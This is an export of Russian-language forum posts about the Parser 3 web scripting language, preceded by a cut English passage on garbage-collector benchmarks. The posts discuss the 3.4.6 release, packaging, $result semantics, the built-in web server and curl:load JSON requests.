primitives thus perform slightly worse than without `-DTHREAD_LOCAL_ALLOC`,\
and should be avoided in time-critical code.\
\
(The results using `pthread_mutex_lock` directly for allocation locking would\
have been worse still, at least for older versions of linuxthreads. With\
`-DTHREAD_LOCAL_ALLOC`, we first repeatedly try to acquire the lock with\
`pthread_mutex_try_lock`, busy-waiting between attempts. After a fixed number\
of attempts, we use `pthread_mutex_lock`.)\
\
These measurements do not use incremental collection, nor was prefetching\
enabled in the marker. We used the C version of the benchmark. All\
measurements are in elapsed seconds on an unloaded machine.\
\
Number of threads| 1 marker thread (secs.) | 2 marker threads (secs.)\
---|---|---\
1 client| 10.45| 7.85 | 2 clients| 19.95| 12.3\
\
The execution time for the single threaded case is slightly worse than with\
simple locking. However, even the single-threaded benchmark runs faster than\
even the thread-unsafe version if a second processor is available. The\
execution time for two clients with thread local allocation time is only 1.4\
times the sequential execution time for a single thread in a thread-unsafe\
environment, even though it involves twice the client work. That represents\
close to a factor of 2 improvement over the 2 client case with the old\
collector. The old collector clearly still suffered from some contention\
overhead, in spite of the fact that the locking scheme had been fairly well\
tuned.\
\
Full linear speedup (i.e. the same execution time for 1 client on one\
processor as 2 clients on 2 processors) is probably not achievable on this\
kind of hardware even with such a small number of processors, since the memory\
system is a major constraint for the garbage collector, the processors usually\
share a single memory bus, and thus the aggregate memory bandwidth does not\
increase in proportion to the number of processors.\
\
These results are likely to be very sensitive to both hardware and OS issues.\
Preliminary experiments with an older Pentium Pro machine running an older\
kernel were far less encouraging.\
[/code]"
"85703","\"most heap objects are pointer-free (atomic) or immutable\"\
\
У нас там в основном строки (CORD, String), которые есть ссылки-ссылки.\
\
[quote]В общем чудес не бывает, но единичку поставить полезно.[/quote]\
\
Спорно. Если нет заметного расхода памяти, полезнее просто не собирать мусор, как оно и есть по умолчанию. :)\
\
Или в какое-нибудь не сильно проходное место (типа после каждого SQL запроса) поставить проверку, и запускать сборку при ever_allocated_since_compact большем условных 64/128Mb, как оно сейчас и делается в реализации веб-сервера по умолчанию перед каждым запросом."
"85704","И любой проект становится нагруженным. :) На синтетических тестах проблем не было (но они как раз помогли выявить тонкости многопоточной работы GC). Ну и в форум парсера частенько роботы заглядывают, так что уже >500,000 обращений с момента перехода на встроенный веб-сервер есть - не так уж и мало."
"85705","Нижайшая просьба - соберите парсер под win с этой фичей, погоняю у себя на тяжелых местах"
"85707","... методом, схожим с https://www.parser.ru/lib/erusage/\
\
Поэтому посмотрел за пару дней и оставил автоматическую сборку только в консольных скриптах, а на вебе прибил, потому что оверхед уж больно большой получается, а памяти на сервер достаточно."
"85708","Выпущен релиз кандидат версии 3.4.6.\
Скачать можно здесь: [url=\"/download/beta/\"]https://www.parser.ru/download/beta/[/url].\
Приветствуются багрепорты и активное тестирование.\
\
Перечень изменений в [url=\"/news/\"]новостях[/url]."
"85709","Ура! Было бы здорово к релизу исправить документацию, чтобы левая колонка подгружалась всегда, а не каждый третий раз (Safari, все версии macOS года три уже).\
Из-за этого бага пришлось добавить в закладки этот незагружающийся фрейм, но так неудобно.\
А, ещё добавьте пожалуйста в левую колонку документации поле поиска, в идеале с автофокусом.\
\
Может сделать всю документацию на одной странице, типа как [url=\"https://core.telegram.org/bots/api\"]https://core.telegram.org/bots/api[/url] ? Тогда поиск по странице охватит всё сразу"
"85711","Бесплатная. Там и поиск есть (рабочий), и алфавитный указатель, и с документацией парсера отлично работает. Всем хороша, только иконка убогая, но это поправимо :-)\
[url=\"https://apps.apple.com/ru/app/read-chm/id594432954\"]https://apps.apple.com/ru/app/read-chm/id594432954[/url]"
"85713","...все объявленные новшества теперь надо выкруживать из тела новости."
"85714","Не к RC, всегда так было."
"85715","Скачал из сборок x64 версию, при попытке запуска получаю \
\
[quote]parser3.exe не является приложением win32[/quote]\
\
\
[quote]Название ОС:                    Microsoft(R) Windows(R) Server 2003 Standard x64 Edition\
Версия ОС:                      5.2.3790 Service Pack 2 сборка 3790[/quote]\
\
При попытке посмотреть либы депендером, например libssl-1_1-x64.dll, получаю вот такое:\
\
[quote]Error: At least one required implicit or forwarded dependency was not found.\
Error: At least one module has an unresolved import due to a missing export function in an implicitly dependent module.\
Error: Modules with different CPU types were found.\
Warning: At least one delay-load dependency module was not found.\
[/quote]\
\
А также ошибку Error opening file. Не удается найти указанный файл на таких файлах:\
\
BCRYPT.DLL\
DEVMGR.DLL\
IESHIMS.DLL\
WER.DLL"
"85716","Во всяком случае поставить ее на него нельзя: \"It is not supported to install Visual Studio 2015 on Windows Server 2003\". Что в общем логично, поддержка у WS 2003 закончилась летом 2015. А 32-х битную версию мы продолжаем собирать старой версией Visual Studio, поэтому и проблем с ней нет..."
"85717","[url=\"http://www.parser.ru/download/\"]Выпущена[/url] версия 3.4.6, обновлена [url=\"http://www.parser.ru/docs/\"]документация[/url]. Перечень изменений в [url=\"http://www.parser.ru/news/\"]новостях[/url]."
"85718","В новой документации не вижу в списке классов"
"85719","В новости даже ссылка есть"
"85720","...в разделе \"Использование Парсера в качестве веб-сервера\".\
\
В новостях просто было заявлено как класс, и ожидал увидеть новый класс в общем списке в документации."
"85721","В документации у нас исторически описано только то, что жестко прописано в парсере. Про тот же unhandled_exception написано, что его рекомендуется поместить в конфигурационный файл, но вообще это на усмотрение пользователя (как и сама реализация unhandled_exception). Так и тут - парсером будет вызван ^httpd:main[] (и это документировано), а определен ли класс httpd, как он будет работать или вообще надо выдать исключение - это на усмотрение пользователя."
"85723","А добавьте пожалуйста пакет с новой версией в apt под Debian, а то там предыдущая версия (3.4.5-4). Спасибо!"
"85725","После выхода релиза Debian (а точнее даже за полгода до выхода) версии пакетов в нем фиксируются и более не обновляются. Подробнее про заморозку в Debian 11 можно почитать например [url=\"https://www.opennet.ru/opennews/art.shtml?num=54404\"]здесь[/url]. Нам еще повезло, что благодаря Сергею 3.4.6 попадает в Debian 11. В каких дистрибутивах Debian какие сейчас версии парсера можно смотреть здесь: https://packages.debian.org/search?keywords=parser3-cgi"
"85726","под jessie (gcc-4.9 g++-4.9) ожидаемо:\
\
[code]/parser/parser3_4_6_debian10x64# ./parser3.cgi\
./parser3.cgi: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `CXXABI_1.3.9' not found (required by ./parser3.cgi)[/code]\
\
не хочется компилить :)\
\
\
ldd:\
[code]./parser3.cgi: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `CXXABI_1.3.9' not found (required by ./parser3.cgi)\
        linux-vdso.so.1 (0x00007ffdeffb8000)\
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f0dbf2d0000)\
        libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f0dbf099000)\
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0dbee95000)\
        libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f0dbeb8a000)\
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f0dbe889000)\
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f0dbe673000)\
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0dbe2c8000)\
        /lib64/ld-linux-x86-64.so.2 (0x00007f0dbf801000)\
[/code]\
\
.\
\
strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep CXXABI_\
[code]CXXABI_1.3\
CXXABI_1.3.1\
CXXABI_1.3.2\
CXXABI_1.3.3\
CXXABI_1.3.4\
CXXABI_1.3.5\
CXXABI_1.3.6\
CXXABI_1.3.7\
CXXABI_1.3.8\
CXXABI_TM_1\
[/code]\
\
\
.\
\
apt-cache policy libstdc++6\
[code]libstdc++6:\
  Installed: 4.9.2-10+deb8u2\
  Candidate: 4.9.2-10+deb8u2\
[/code]\
\
при єтом: libstdc++.so.6 -> libstdc++.so.6.0.20"
"85727","Debian 9x64: https://www.parser.ru/f/1/download/parser346/parser3_4_6_debian9x64.tar.gz\
Бинарные сборки, включая grpunlim версии, подготовлены для 32 платформ, просто не на все стоят ссылки из раздела \"скачать\"."
"85728","а какбьіб в довнлоадсах - вот єту ссьілку с формулировкой типа \
another compilations или шототаке ?\
а то ж забудется... опять буду тут дергать"
"85729","Собрал из исходников под Debian 10-x86_64 с отключенной проверкой прав, без xml и отладки. Все прошло как по маслу. Так что отсутствие в apt-get не страшно.\
Спасибо!"
"85730","apt-get update && apt-get upgrade не видит обновления для парсера, хотя установлен именно через apt\
\
В /etc/apt/sources.list изначально было http://mirrors.digitalocean.com/ubuntu/\
\
Там не было обновления, поменял на http://archive.ubuntu.com/ubuntu и тоже обновления нет. Почему так? Как правильно обновить?\
\
[code]\
apt-cache showpkg parser3-cgi\
Package: parser3-cgi\
Versions: \
3.4.5-7 (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_focal_universe_binary-amd64_Packages) (/var/lib/dpkg/status)\
 Description Language: \
                 File: /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_focal_universe_binary-amd64_Packages\
                  MD5: 301967d7b1e44dcb97933c3edd210bd2\
 Description Language: en\
                 File: /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_focal_universe_i18n_Translation-en\
                  MD5: 301967d7b1e44dcb97933c3edd210bd2\
\
\
Reverse Depends: \
  parser3,parser3-cgi 3.4.5-7\
Dependencies: \
3.4.5-7 - libc6 (2 2.29) libgc1c2 (2 1:7.2d) libgcc-s1 (2 3.0) libglib2.0-0 (2 2.26.0) libgmime-3.0-0 (2 3.0.0) libltdl7 (2 2.4.6) libpcre3 (0 (null)) libstdc++6 (2 5) libxml2 (2 2.9.0) libxslt1.1 (2 1.1.25) parser3-common (5 3.4.5-7) \
Provides: \
3.4.5-7 - \
Reverse Provides: \
\
[/code]"
"85731","По ссылке видно, в каких версиях Ubuntu какая версия парсера. В целом сказанное [url=\"/forum/?id=85725\"]здесь[/url] про Debian верно и для Ubintu."
"85732","Отловил интересное явление на Parser 3.4.6 (на других версиях пока не пробовал)\
[code]\
@main[]	\
	^if(^test[]){ + }{ - }\
\
@test[]\
	^first[]\
	^first[]\
	$result(true)\
\
@first[]\
	$result(1)\
\
[/code]\
Будет всегда возвращать: double may not be overwritten with double, store it to variable instead\
Примерно похожая ситуация может еще возвращать: int may not be overwritten with int, store it to variable instead\
\
Проблема решается только размещением одного из вызовов метода first в переменную. Напр.:\
[code]\
@main[]	\
	^if(^test[]){ + }{ - }\
\
@test[]\
	$a(^first[])\
	^first[]\
	$result(true)\
\
@first[]\
	$result(1)\
\
[/code]\
\
Баг или фича?"
"85734","Но момент тонкий, и главное здесь - это способ вызова метода test. При вызове с квадратными скобками результатом ожидается строка, и поскольку число умеет преобразовываться в строку, ошибки не будет (будет строка '1 1'). При вызове с круглыми скобками результатом ожидается число, и выдача исключения, когда в результат попадает два числа не лишена логики, поскольку непонятно, что хотел сказать разработчик. В 3.4.5 аналогичное поведение. Но еще проверю, что это поведение проверяется тестами, похоже надо будет добавить тест.\
\
[code]@main[]\
    $v[^test[]]\
#    $v(^test[])\
    ^if($v){ + }{ - }\
\
@test[]\
    ^first[]\
    ^first[]\
    $result(true)\
\
@first[]\
    $result(1)[/code]"
"85735","Я что-то запутался. А какая связь с тем, что возвращают методы, вызванные внутри test, если есть заданное значение переменной result? И оно в примере никак не меняется."
"85736","Вам же номер строки показывается в исключении..."
"85737","Если result в методе test задан  в самом начале, то ошибка все равно будет (от второго вызова метода first).\
\
[code]\
@main[]	\
	^if(^test[]){ + }{ - }\
\
@test[]\
	$result(true)\
	^first[]\
	^first[]\
\
@first[]\
	$result(1)\
[/code]\
\
Вот как так? \
Я всегда полагал, что если в методе четко задаю значение переменной result, то содержание метода (строки, числа) будет проигнорировано. А получается, что игнорируются только строки.\
Вот так, например, все чудненько работает, что вполне закономерно:\
[code]\
@main[]	\
	^if(^test[]){ + }{ - }\
\
@test[]\
	$result(true)\
	^first[]\
	^first[]\
\
@first[]\
	$result[1]\
[/code]"
"85739","[quote]Я всегда полагал, что если в методе четко задаю значение переменной result, то содержание метода (строки, числа) будет проигнорировано.[/quote]\
\
В документации такого нет. Там написано, что присвоенное значение будет результатом работы метода:\
\
[quote]Все методы и операторы имеют локальную переменную result. Если ей присвоить какое-то значение, то именно оно будет результатом выполнения метода.[/quote]\
\
Но при этом метод будет выполнен до конца, и он должен быть корректен. Код ниже тоже вернет \"hash may not be overwritten with hash\", но \
если закомментировать второй ^hash::create[], то результатом будет \"string\".\
\
[code]@main[]\
    ^test[]\
\
@test[]\
    $result[string]\
    ^hash::create[]\
    ^hash::create[]\
[/code]"
"85741","В [url=\"/forum/?id=85732\"]топике[/url] был косвенно затронут достаточно тонкий момент, различие в работе метода при вызовах $v[^test[]] и $v(^test[]). Во втором случае внутри метода test не происходит автоматического преобразования чисел в строку. Но вот насколько нужно это отличие? У меня только в специальных тестах этого случая разница есть. Ну добавится дополнительное преобразование из числа в строку и обратно. Но зато поведение будет унифицировано и чуть логичнее.\
\
[code]@main[]\
$n(1)\
$v(^test1[]) \"$v\" $v.CLASS_NAME\
$v(^test2[]) \"$v\" $v.CLASS_NAME\
\
@test1[]\
-^first[]\
\
@test2[]\
-^n.int[]\
\
@first[]\
    $result(^n.int[])\
[/code]\
\
Результат в 3.4.4 (так себе логичность):\
\"-1\" double\
\"1\" int\
\
Результат начиная с 3.4.5 (сохраняется тип значения, строковая часть выкидывается, переделка в рамках тикета #1104):\
\"1\" int\
\"1\" int\
\
Можно сделать (очевиднее, но теоретически не 100% совместимо):\
 \"-1\" double\
 \"-1\" double"
"85743","Если уж преобразовывать в double, то тогда надо преобразовывать все типы."
"85744","Иначе просто нельзя будет положить объект в переменную $h[^hash::create[]]. А в контексте выражения $cnt($myhash) системные типы изначально умеют преобразовываться - \"Числовым значением хеша является число ключей\", \"Числовое значение таблицы равно количеству строк таблицы\"."
"85745","Или это баловство и больше для локальной разработки сделано?\
Есть смысл поэкспериментировать с выпиливанием fastcgi и попробовать nginx + httpd парсера?"
"85746","[url=\"https://www.parser.ru/\"]parser.ru[/url] работает на встроенном веб-сервере ещё с бета-версии 3.4.6. Полёт нормальный.\
\
[url=\"https://www.parser.ru/forum/?id=85614\"]https://www.parser.ru/forum/?id=85614[/url]"
"85748","После релиза вернул как было (в частности чтобы комментарии в документации показывались). Но да, целый месяц сайт parser.ru работал на встроенном в парсер веб-сервере."
"85749","Как раз будет достаточно времени возможные несовместимости поймать. :)"
"85750","По этой причине, я всегда, использую self,result,в методах, чтобы новые версии не ломали код.\
\
Но вот это поведение:\
[code]\
@test2[]\
-^first[]\
[/code]\
\
кажется перебором с магией, контраргумент такой: \
\
в общем случае, кода Парсера, в виду его целевой особенности, как бы один большой print, т.е. все что не код, то вывод в поток [b]строки[/b].\
\
Поэтому, в любой непонятной ситуации, в которой нет явного указания, нам следует ожидать сброса/приведения к типу по-умолчанию - строке.\
\
Таким, образом из примера, ну и что, что @first[] возвращает int, \
в самом то @test1 вместо явного result используется по сути строковая конкатенация \"-\" и результата @first, и такая себе идея получить это автоматически как double\
\
Второй контраргумент: \
такое выражение (без result в теле метода) как я видел, часто используется в сочетании с \
[code]\
@method[][result]\
-\
$some $output\
[/code]\
\
где эта магия как раз направлена на удобство какой нить рекурсивной конкатенации строки, и могут быть проблемы где-то внезапно получить double из-за того что $some возвращает число\
\
т.о. чтобы обезопасить себя от новой числовой магии, придётся писать что то типа:\
[code]\
@test1[]\
-[^first[]]\
[/code]\
\
Имхо, это странно.\
\
Поэтому, если все же принять во внимание, что изначательнао таргетированная на string, основа  языка во всех подсахаренных магических синтаксисах старалась сохранять хотя бы единообразие сохранения string, то и код типа\
[code]\
$v(^test1[])\
$v($string)\
[/code]\
\
должен вести себя одинаково, во всех других вариантах, отличных от default магии, у нас есть возможность $result()"
"85751","Я видимо не понял, о магии в каком месте идёт речь, я думал что в месте преобразования результата, потому что если в месте интерпретации в числовом выражении $v()\
\
То тогда, строго следуя документации для string:\
\
[quote]Если в строке содержится число, то при попытке использовать его в математических выражениях содержимое строки будет автоматически преобразовано к double. Если строка пуста, ее числовое \"значение\" в математических выражениях считается нулем.\
[/quote]\
\
Таким образом, конечно если мы вернули строку \"-6\" то это должно стать -double в $v()"
"85752","Почему обсуждается преобразование внутри вызываемого метода, а не там, где результат попадет в числовой контекст.\
\
Всегда считал, что:\
1. метод без явного указания $result возвращает строку;\
2. преобразование типа происходит по месту:\
[code]\
@test[]\
555\
\
^if(^test[] eq '555')[y;n]\
> y\
\
^if(^test[] > 444)[y;n]\
> y\
[/code]"
"85753","[quote]1. метод без явного указания $result возвращает строку;[/quote]\
\
Теперь поведение стало ближе к этому. Но все равно, такой метод:\
\
[code]@test[]\
string ^hash::create[] string\
[/code]\
\
Вернет хеш. Так было и видимо и останется. Но никто не заставляет так писать. :)\
\
[quote]2. преобразование типа происходит по месту: [/quote]\
\
Речь не о преобразовании типа, а о зависимости результата работы метода от способа вызова. Для методов на парсере ее больше не будет. Но и раньше едва-ли кто-то сталкивался с этим в реальном коде."
"85754","[quote]Речь не о преобразовании типа, а о зависимости результата работы метода от способа вызова.[/quote]\
\
Что есть зависимость результата от вызова, как не тип?\
\
[quote]string ^hash::create[] string\
Вернет хеш.[/quote]\
\
О такого ожидаешь, скорее, исключения, как от\
[code]@test[]\
$.k[v][/code]\
\
Что до [url=https://www.parser.ru/forum/?id=85732]исходного примера[/url]:\
[code]@test[]\
^first[]\
^first[]\
$result(true)[/code]\
то логичным кажется отбрасывать всё, что не $result, если он явно определён.\
\
Сейчас из-за этого приходится складывать результаты работы в tmp-переменные, лишь бы не получить ошибку.\
При том, что методы не всегда могут что-то возвращать, могут реагировать на пробрасываемые опции, или возвращать результат разного типа.\
\
Условно:\
[code]@save[options]\
$tmp[^self._update[$self.data;$options]]\
\
$result[]\
\
\
@update[data;options]\
$result[^self._update[$data;$options]]\
\
\
@_update[data;options]\
$result[]\
\
^self.db.void{UPDATE …}\
\
^if(^options.affected.bool(false){\
	$result[$.affected(^self.db.int{SELECT ROW_COUNT()})]\
}\
[/code]"
"85755","[quote]Что есть зависимость результата от вызова, как не тип?[/quote]\
\
Так просто разный результат может(уже мог) получиться.\
\
[code]@main[]\
$n(1)\
$s[^test[]] \"$s\"\
$v(^test[]) \"$v\"\
\
@test[]\
magic ^n.int[] magic\
[/code]\
\
Выдаст:\
\"magic 1 magic\"\
\"1\"\
\
Приведение типа тоже есть, вот [url=\"/docs/lang/?props.htm\"]здесь[/url] все возможные варианты перечислены:\
\
[quote]@GET[тип обращения] [3.4.0]\
код, обрабатывающий обращения к объекту/классу в определённых контекстах вызова\
тип обращения ... может принимать одно из следующих значений: def, expression, bool, double, hash, table или file.\
[/quote]\
\
\
[quote]От такого ожидаешь, скорее, исключения[/quote]\
\
Тут достаточно тонкая грань с $h[ ^hash::create[] ]. По мне так да, логичнее было бы разрешать только пробельные символы. Но это лишние проверки по ходу исполнения (причем не самые быстрые), поэтому видимо изначально было решено не выдавать исключения.\
\
[quote]то логичным кажется отбрасывать всё, что не $result, если он явно определён.[/quote]\
\
Если \
[code]@test[]\
^first[]\
^first[]\
[/code]\
\
Выдает исключение, то логично, что \
\
[code]@test[]\
^first[]\
^first[]\
$result(true)\
[/code]\
\
Тоже выдает исключение, поскольку парсер заранее не знает, что будет следующим оператором.\
\
[quote]приходится складывать результаты работы в tmp-переменные[/quote]\
\
Боюсь от этого можно избавиться только если придумаем способ явно декларировать использование $result в методе. Можно конечно анализировать код, но тогда всякая экзотика типа $caller.result или ниже может сломаться...\
\
[code]@main[]\
$s[result]\
0? $$s[1?]\
[/code]"
"85756","[quote]Так просто разный результат может(уже мог) получиться.\
@main[]\
$n(1)\
$s[^test[]] \"$s\"\
$v(^test[]) \"$v\"\
\
@test[]\
magic ^n.int[] magic\
Выдаст:\
\"magic 1 magic\"\
\"1\"[/quote]\
\
Ну, это совсем магия с отбрасыванием части результата.\
Сомневаюсь, что кто-то такое осознанно использует.\
\
[quote]парсер заранее не знает, что будет следующим оператором[/quote]\
[quote]Боюсь от этого можно избавиться только если придумаем способ явно декларировать использование $result в методе.[/quote]\
\
Всегда считал, что [url=https://www.parser.ru/docs/lang/definemethod.htm]предупреждение[/url]:\
[quote]Внимание: каждый метод должен или возвращать результат через $result во всех вариантах своего выполнения или не использовать $result вовсе. [3.4.0] [/quote]\
свидетельствует о наличии подобной проверки."
"85757","[quote]Ну, это совсем магия с отбрасыванием части результата.\
Сомневаюсь, что кто-то такое осознанно использует.[/quote]\
\
Вот потому и подумалось, что стоит эту магию убрать. :) И вроде как это оказалось возможно не ломая ничего другого.\
\
[quote]свидетельствует о наличии подобной проверки.[/quote]\
\
Не совсем. Тогда появились оптимизации, которые 1. игнорируют весь строковый вывод метода, если в первом вызове метода использовался $result. 2. Вообще не анализируют $result, если он не использовался при первом вызове. Это эффективные оптимизации, но если не соблюдать указанное правило, поведение будет не совсем очевидным (мягко скажем). Например:\
\
[code]@main[]\
0. ^test[0]\
1. ^test[1]\
0. ^test[0]\
1. ^test[1]\
\
1. ^test-copy[1]\
0. ^test-copy[0]\
1. ^test-copy[1]\
0. ^test-copy[0]\
\
@test[n]\
output ^if($n){$result[result]}\
\
@test-copy[n]\
output ^if($n){$result[result]}\
[/code]\
\
Вернет\
0. output \
1. output \
0. output \
1. output \
\
1. result\
0. \
1. result\
0."
"85758","[quote]Ну, это совсем магия с отбрасыванием части результата.\
Сомневаюсь, что кто-то такое осознанно использует.[/quote]\
[quote]Вот потому и подумалось, что стоит эту магию убрать. :) И вроде как это оказалось возможно не ломая ничего другого.[/quote]\
\
Гораздо полезнее было бы такое (раз метод знает о контексте вызова):\
[code]\
^two[] # double\
\
@one[]\
$result(1)\
\
@two[]\
$result[^one[]][/code]\
\
То есть, чтобы, несмотря на квадратные скобки в [i]@two[/i], результат сохранял тот тип, который вернул [i]@one[/i], будто он передан по ссылке.\
Но, насколько понимаю, такого подобной магией не добиться.\
\
[quote]Это эффективные оптимизации, но если не соблюдать указанное правило, поведение будет не совсем очевидным (мягко скажем).[/quote]\
\
Мда, неожиданно."
"85759","[quote]Но, насколько понимаю, такого подобной магией не добиться.[/quote]\
\
Можно добиться другой магией, но это приводит к передаче чисел по ссылке с последующими спецэффектами, обсуждалось в #1093."
"85760","Вот так это прям сейчас работает?\
\
[code]\
@main[]\
0. ^test[0]\
1. ^test[1]\
\
@test[n]\
output ^if($n){$result[result]}\
\
Вернет\
0. output\
1. output\
[/code]\
\
Вот это конечно спасибо за пример, будем знать \"врага в лицо\" :) просто такая вот оптимизация только создает накладные расходы на обтравливание кода всеми \"антимагическими\" инструкциями, профит получается обратный и оптимизация выключается и кода становится больше, и ресурсы это не экономит:\
\
[code]\
@method[n][locals]\
$_result[]\
...\
по коду работаем только с $_result[]\
чтобы даже если мы где-то в условиях\
потеряем его типа ^if($n){$result[result]}\
то самый нижний $result[] нас всегда спасет\
...\
$result[$_result]\
[/code] \
\
Магия работающая с эффектом \"пчелы против мёда\""
"85761","Если метод использует $result[value] или ^return[value] и могут быть сомнения, что это делается во всех ветках выполнения кода, надо просто первым действием в методе выполнить $result[].\
\
Приведенная в тесте ситуация в жизни крайне редко приводит к проблемам, мы только при обновлении на 3.4.0 с таким сталкивались. Ну и в планах все-таки выявлять использование $result во время компиляции. Правда и это не на 100% совместимо и тоже может привести к багам. :("
"85763","Помню когда-то была такая страничка, да еще и в двух языках, прогоняющая некий тест по основным функциям (кукис, обращение к диску, бд)\
\
В основном пакете и ночных сборках его не вижу, ткните ссылкой, если не сложно."
"85764","Но у меня через fastcgi в 2-2.5 раза быстрее страница отдаётся, одна и та же, чем через parser демона. \
Пробовал разные режимы работы (треды, паралель), не смотрел нагрузку по кол-ву обработанных запросов в секунду, но просто единичная отдача страницы в разы медленнее. На тесте парсерном без sql - _test.p3 тоже самое. \
Пока бросил это дело, но ещё были проблемы с выставлением remote_addr и прочими env-ами в связке с nginx.\
Document-root тоже заданные через $request:document-root в env:DOCUMENT_ROOT не записал ничего. \
В общем отложил этот вопрос..."
"85766","Поскольку медленнее просто не с чего быть... :)\
\
[quote]Пока бросил это дело, но ещё были проблемы с выставлением remote_addr и прочими env-ами в связке с nginx.[/quote]\
\
У нас в nginx обычно так:\
proxy_set_header X-Real-IP $remote_addr;\
И значит можно сказать как-то так:\
$env:REMOTE_ADDR[$request:headers.X_Real_IP]\
\
[quote]Document-root тоже заданные через $request:document-root в $env:DOCUMENT_ROOT не записал ничего.[/quote]\
\
И не должен. Парсеру для работы $env:DOCUMENT_ROOT и не нужен, но если где в коде используется - ничего не мешает его задать $env:DOCUMENT_ROOT[$request:document-root]."
"85770","да, с x-real-ip есть заголовок у меня, но кое-где не с того env-а читается, пролезать придётся подправлять.\
\
$env:DOCUMENT_ROOT[$request:document-root] - хм, что-то я упустил этот момент, мне казалось парсер не даёт env-ы записывать (возможно переопределять не даёт. а новые пожалуйста?).\
\
Ну и по скорости не понятно тогда, сборка своя, тесты проходит, FreeBSD 12.1. \
Через nginx+fastcgi - в два раза быстрее чем через nginx+proxy_pass на демона.\
Единственно ещё может влиять, что это всё в jail-е как-то? Но и fastcgi в этом же джейле, т.е. тут отличий нет..."
"85771","[quote]мне казалось парсер не даёт env-ы записывать[/quote]\
\
В режиме веб-сервера дает (как минимум чтобы $env:REMOTE_USER можно было задать), и еще $form:<поле> теперь можно менять.\
\
[quote]Через nginx+fastcgi - в два раза быстрее чем через nginx+proxy_pass на демона.[/quote]\
\
Как меряется время? Что-то типа\
\
curl -o /dev/null -s -w \"%{time_connect} + %{time_starttransfer} = %{time_total}\\n\" \"url\"\
\
Выдает результаты в 2 раза отличающиеся? А какие они в абсолютном значении (по порядку - тысячные секунды, десятые)?"
"85772","В общем потеря скорости была из-за кривого documentroot (видимо кэши сделать не мог).\
\
По крайней мере на первый взгляд примерно одно и тоже получается, можно тестить дальше будет, зря панику разводил :)"
"85773","Типа такого:\
\
[code]@main[]\
\
$h[\
	$.names[\
		$.lupus[Серый]\
		$.hare[Косой]\
		$._onchange{^names_onchange[]}\
	]\
	$.another[...]\
]\
\
$h.names.hare[Ушастый]\
$h.names.hare\
--> Был Косой, стал Ушастый\
\
\
$h.names.lupus[Блохастый]\
--> exception \"Серый против\"\
\
\
@names_onchange[key;old_value;new_value]\
^switch[$key]{\
	^case[hare]{\
		$result[Был $old_value, стал $new_value]\
	}\
	^case[lupus]{\
		^throw[;;\"$old_value против\"]\
	}\
}\
[/code]"
"85774","...вместо того, чтобы использовать устоявшиеся безопасные конструкции :)\
\
Зачем такие фокусы, с простейшим типом(встроенным классом)?\
\
Ну напишите вы свою обертку, свой класс, на свойства (геттеры, сеттеры) это прекрасно ложится. \
\
Не переломится поди код, если конструктор будет не \
[code]\
$h[\
  $.rabbit[Rodger]\
]\
[/code]\
\
а какой нить\
\
[code]\
$h[^myhash::create[\
  $.rabbit[Rodger]\
]]\
[/code]\
\
но если чисто академическое любопытство, то тоже подпишусь на просмотр каких то трюков"
"85775","Объект с хешом вполне совместимы, в конструкторе достаточно выполнить ^reflection:copy[$arguments_hash;$self]. А замедлять работу хеша какими-то дополнительными проверками - сомнительная идея."
"85776","Весь день бьюсь над проблемой и не могу понять в чем причина.\
\
Мне нужно отправлять json в теле post запроса и принимать ответ в формате json.\
\
[code]$result[^curl:load[ \
	$.url[https://securepay.tinkoff.ru/v2/Init]\
	$.content-type[application/json]\
	$.timeout(10)\
	$.post(1)\
	$.postfields[json_data]\
]][/code]\
\
Но при попытке получить $result.text, получаю ошибку: \"getting value of stat-ed file\".\
Сделал ^json:parse[$result] и заметил что в результате нет поля text.\
\
При этом через удаленный терминал, командой ...\
\
[code]curl --header \"Content-Type: application/json\" \\\
	--request POST \\\
	--data '{ my_json }' \\\
	https://securepay.tinkoff.ru/v2/Init[/code]\
\
... ответ приходит как положено.\
\
Сделал запрос на другой URL, для сравнения:\
\
[code]$result[^curl:load[ \
	$.url[https://jsonplaceholder.typicode.com/todos/1]\
	$.timeout(10)\
]][/code]\
\
Все аналогично.\
\
Может кто сталкивался с такой проблемой? На форуме информации не нашел.\
\
Parser/3.4.5 (compiled on x86_64-unknown-linux-gnu)\
Пробовал 3.4.6, не помогло."
"85777","https://github.com/gzzz/parser/tree/master/buffer"
"85778","[code]@main[]\
$response[^curl:load[\
	$.url[https://jsonplaceholder.typicode.com/todos/1]\
	$.timeout(10)\
]]\
\
[$response.text][/code]\
\
[i][{ \"userId\": 1, \"id\": 1, \"title\": \"delectus aut autem\", \"completed\": false}][/i]\
\
[code]@main[]\
$response[^curl:load[\
	$.url[https://securepay.tinkoff.ru/v2/Init]\
	$.content-type[application/json]\
	$.timeout(10)\
	$.post(1)\
# 	$.postfields[json_data]\
]]\
\
[$response.text][/code]\
\
[i][{\"Success\":false,\"ErrorCode\":\"5\",\"Message\":\"Неверный запрос.\",\"Details\":\"Неверный content-type application/x-www-form-urlencoded. Необходимо отправлять запрос с указанием в заголовке application/json.\"}][/i]\
\
Если передать необходимый заголовок:\
[code]@main[]\
$response[^curl:load[\
	$.url[https://securepay.tinkoff.ru/v2/Init]\
	$.timeout(10)\
	$.post(1)\
	$.httpheader[\
		$.content-type[application/json]\
	]\
# 	$.postfields[json_data]\
]]\
\
[$response.text][/code]\
\
Срабатывают без ошибок."
"85779","Отдельно от основного кода все сработало как нужно.\
\
Оказывается мешал обработчик результата:\
[code]$result[^json:parse[^taint[as-is][$response.text]]][/code]\
\
Причем в $response.text приходит верный ответ. Когда делаю ^json:parse[] без taint, естественно ругается на экранирующие символы. Но как только добавляю ^taint[as-is][$response.text], то опять получаю ошибку \"getting value of stat-ed file\"..."
"85784","$x[*2]\
^process{^^eval(2*$x)} // 4\
^eval(2 * $x) //error\
